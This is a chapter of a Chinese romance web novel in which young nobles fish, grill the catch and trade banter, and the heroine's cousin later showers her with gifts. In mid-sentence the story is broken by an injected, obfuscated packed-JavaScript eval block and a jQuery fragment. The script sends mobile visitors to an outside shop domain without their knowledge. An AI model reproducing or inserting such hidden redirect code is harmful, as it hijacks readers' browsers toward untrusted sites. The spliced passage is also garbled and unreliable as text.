许明月一行人离开的时候,流绘和萧长璟正各自抱着工具回来。
萧长璟坚持要自力更生,拒绝了随从的帮助,并将人放出去玩了。所以流绘哪怕再不情愿,也只能认命。
“你们方才在和谁说话?”
萧长璟已经利落地放下怀里的东西开始准备了,视线落到还未走远的那些人身上,顺嘴问了一句。
流绘也注意到了那边,默默注视着,没有吭声,许久都没有收回目光。
“许家小姐。”萧长珺也动手帮忙,“还有几个,除了一个脸熟的,其余都没见过。”
眼看着这边都要完工了,流绘还抱着一大堆东西一动不动,明复染试探性地在流绘眼前晃了晃手指。
流绘动作很快,不一会,四个人手倚着脑袋支着鱼竿排排坐。
钓鱼需要耐心,当然也需要运气。
对于从来没有钓上过鱼的萧长珺来说,无疑是煎熬的。她戳了戳身边的萧长璟:“你确定这条小溪里面真的有鱼吗?”
没等萧长璟回答,明复染的鱼竿动了。
一条肥美硕大的鱼,完美回应了萧长珺的疑问。
萧长珺的眼睛一下子就亮了,果不其然,她的鱼竿也动了。
拎着一条小臂长的鱼,萧长珺语气轻快:“果然还是在我们玥儿身边运气好,这么大一条鱼!”
夸完明复染,萧长珺把她的鱼放在另外两个人面前显摆:“怎么样,够不够大?”
流绘已经单方面拒绝和萧长珺聊天很久了,闻言,只是很不屑地哼了一声,撇过了头。
倒是萧长璟,下一秒鱼竿就动了。
几个人正巧都没事,全都等着萧长璟把鱼钓上来。
“哎呀,是谁说自己钓鱼天赋极强的?”萧长珺语气玩味,“哥哥,你这条鱼,还烤吗?”
“我带回宫养着当锦鲤不行吗!”
萧长璟不信邪,立马又坐了回去准备重新抛竿。
片刻后,流绘的竿也有了反应。他不紧不慢地拎着自己的鱼在萧长珺面前晃,眼神里的得意毫不掩饰。
气得萧长珺想打人。
流绘一闪身,躲到了明复染身后,慢悠悠“警告”:“某些人,还惦念着让我烤鱼呢,还没吃,就要动手欺负人了。玥儿,你说,我是不是太可怜了?”
“会厨艺了不起啊!”
萧长珺拽过明复染,把萧长璟换到了流绘隔壁:“玥儿,我们走,不跟这个讨厌的家伙坐在一起。”
四个人奋战整整两个时辰,收获颇丰。
萧长珺拉着明复染坐在一边聊天,她很喜欢夸奖明复染,毫无缘由,什么事都要夸一夸。将他们今日钓到鱼的功劳全部算在了明复染头上。
“那边聊天的二位小祖宗,”萧长珺守在火堆旁,在流绘动手的时候时不时帮忙添个柴,眼看着鱼肉一点点变熟,香味扑鼻,“鱼烤好了,请二位移驾过来吧。”
明复染还是第一次尝试流绘做的东西,外表看起来倒真的是很吸引人。
流绘挑了一条卖相最好的,递给明复染:“试试?”
那边的兄妹二人也已经不客气的吃上了,萧长璟如是感慨:“要说瑾瑜烤的鱼,真的是我吃过最好吃的了。”
萧长珺似乎是想起了什么,善意提醒:“当年他第一次烤鱼,你说过这辈子再也不会吃他做的任何东西来着。”
兄妹两个人拌嘴谁也不让谁,流绘也没机会插进去给自己捞回点面子,只能弱弱地对明复染询问:“还是可以的吧?”
“好吃的。”明复染肯定了流绘的手艺。
“他也就烤的鱼能吃了。”萧长珺这次没有嘲讽流绘,而是真心实意表达了一股不知道由何而来的,淡淡的愁绪,“我们几个,就没有会做饭的。”
明复染还没说什么,萧长璟紧跟着:“都说君子远庖厨,不会做饭怎么了?”
流绘这边一口气刚松下去,萧长璟又来问明复染:“玥儿你说,难道你见过会做饭的男子吗?”
“在我们那,不会做饭讨不到老婆的。”
潜意识里理所当然脱口而出的一句话,好像有什么东西一闪而过,明复染没能捕捉到。
“老,婆?”萧长珺不明所以地看了一眼明复染。
“就是会娶不到妻的意思。”
明复染解释了一下。
“这是朔安那边的土语吗?”萧长璟似乎颇有兴趣。
明复染脑子突然空了一下,竟一时不知道怎么回答。
是吗?
“是吧。”
后面的语气词轻到几乎没有。
明复染猛然间发现,自己对于朔安那边的记忆,只剩下破碎的城墙,以及梦里逐渐清晰的景色。
“想知道的话,等你什么时候有空,我带你亲自到朔安走一趟就是。”
流绘将手里的鱼塞到萧长璟嘴里。
几个人说说笑笑,很快就掀过了这个话题。
天色已晚,动身回府,流绘这次将萧长珺送回了自己的马车里,拒绝了她想要并行一段路的愿望,径自回府了。
姜妤听门房禀报两人回府,早早出来迎接。
“姨母。”
明复染看到姜妤,高高兴兴地打了招呼。
“玥儿玩得开心吗?”姜妤一直照顾明复染,也能看出来她成日里在房间待久了,偶尔出去换换环境,自然也是好的。
“嗯。”明复染挽着姜妤的手臂,两个人一同往府里走,流绘跟在她们身后,“表哥找的地方很漂亮。”
“是不是也遇到了什么人啊?”
姜妤方才见人下车时,就一眼看到了明复染腰间的香囊。她记忆很强,知道明复染清晨离家的时候还没有。
“是许家姑娘送的。”明复染摘下来给姜妤打量,“许小姐性格很好,人也温柔。”
姜妤自然是听说过许明月的,素日里各种宴会也见过真人,知道她的脾气秉性。
“既然是许小姐送的,玥儿喜欢就留下好了。”
“母亲。”
前面两个人聊的开心,后面的流绘突然出声,“父亲传信即将回京,母亲不需要准备什么吗?”
姜妤不理解地看向一脸正经的流绘,后者也自知这个理由站不住脚,未免被拒绝,急忙开口:“我与玥儿在外面已经吃过了,我送玥儿回房间就是。”
流绘没给明复染和姜妤任何一个人拒绝的机会,拉着人就走。
原本距离明复染的院子就没有多少路了,两个人并肩走着,先打破这份平静的,是明复染:“姨父回京,已经定好是什么日子了吗?”
流叙
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17914451|213271||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
的家书明复染是知道了,前几天才说过要处理完手头的军务才能确定时间,不过两日而已。
“父亲从来定不下具体日子的。”
流绘解释:“父亲常年在外征战,除了朝廷明发谕旨要他戍边,其他时候,定然都是能多早就要多早。”
“最快的一次,家书是前一天夜里到的,第二日清晨,他本人已经在府里了。”
明复染一时间也是被惊到了。
除非烽火正盛,边境军务都是通过驿站传递。守将在其中夹杂几封家书是常事。
像安国公这般异常思念夫人的,甚至还要动用自家养的飞鸽,他跑马甚至能快过飞鸽的吗?
不过,什么方式传信,对于明复染来说,其实都产生不了什么影响。
安国公回京,意味着边境彻底太平,军功回京,皇帝是要论功行赏的。
此番边境之乱,大将军与守将殉国,明复染心里很清楚,自己这三个月获得的优待,皆是因为自己是忠烈之后。
流绘试探性地问过明复染,住在安国公府怎么样……
一个意料之中的,或者说,早已注定的变故,马上就要来了。
两个人都没再多说什么,直到明复染回到房间,流绘转身离去之前。
“你身边的男子,都很擅长厨艺吗?”
“啊?”
明复染突然被流绘这没头没脑的问题蒙了一下,“没有吧。父亲会,但,你,和长璟哥哥,不是都不会吗?”
明复染知道,明决不仅是擅长厨艺,当初甚至是靠烧的一手好菜,才成功俘获了姜婉的芳心。
至于旁人……
就剩下她那个未曾谋面的姨父了。
“姨父,也不会吗?”
流绘不知道想到了什么,眼神瞟了一会,不情不愿道:“父亲会。”
流叙经常做菜给姜妤吃,在厨房如履平地。
只不过流绘可能是更像姜妤一点,生来就没有这方面的天赋。
嗯,非说的话,姜妤连烤鱼也不会,流绘起码还可以。
“所以,不会做菜,真的娶不到妻吗?”
这句话流绘说得声音很小,明复染隐隐约约听清了几个字,不过看他也没有一定要个答案的样子,便没有开口。
“那个香囊,你喜欢的话,我改日送你一个更好的。”
流绘说完这句话,若有所思地离开了。
在明复染的视角,看着这个人的背影,总觉得他有些神神叨叨的。
不过第二日,流绘当真送来了好多东西。
除了香囊。
京城时行的适合少女的衣饰,这人送了几箱子过来。
于是觉得还不够好,听姜妤说,流绘昨夜翻遍了库房,将宫里赏赐那些颜色不错的料子全送去做衣服了。
流绘清了清嗓子,有些心虚:“那个,这些东西你先挑着,等我定制的做好,再给你送过来。”
明复染不知为何,起了逗弄流绘的心思:“表哥送来的,自然都是顶顶好的。可是表哥,我的香囊呢?”
不说还好,一说,流绘好似不知道怎么回答,一句话没说就走了。
明复染轻笑,看着堆了一院子的礼物,心里暖暖的。
当然,明复染是没有看到流绘泛红的耳朵。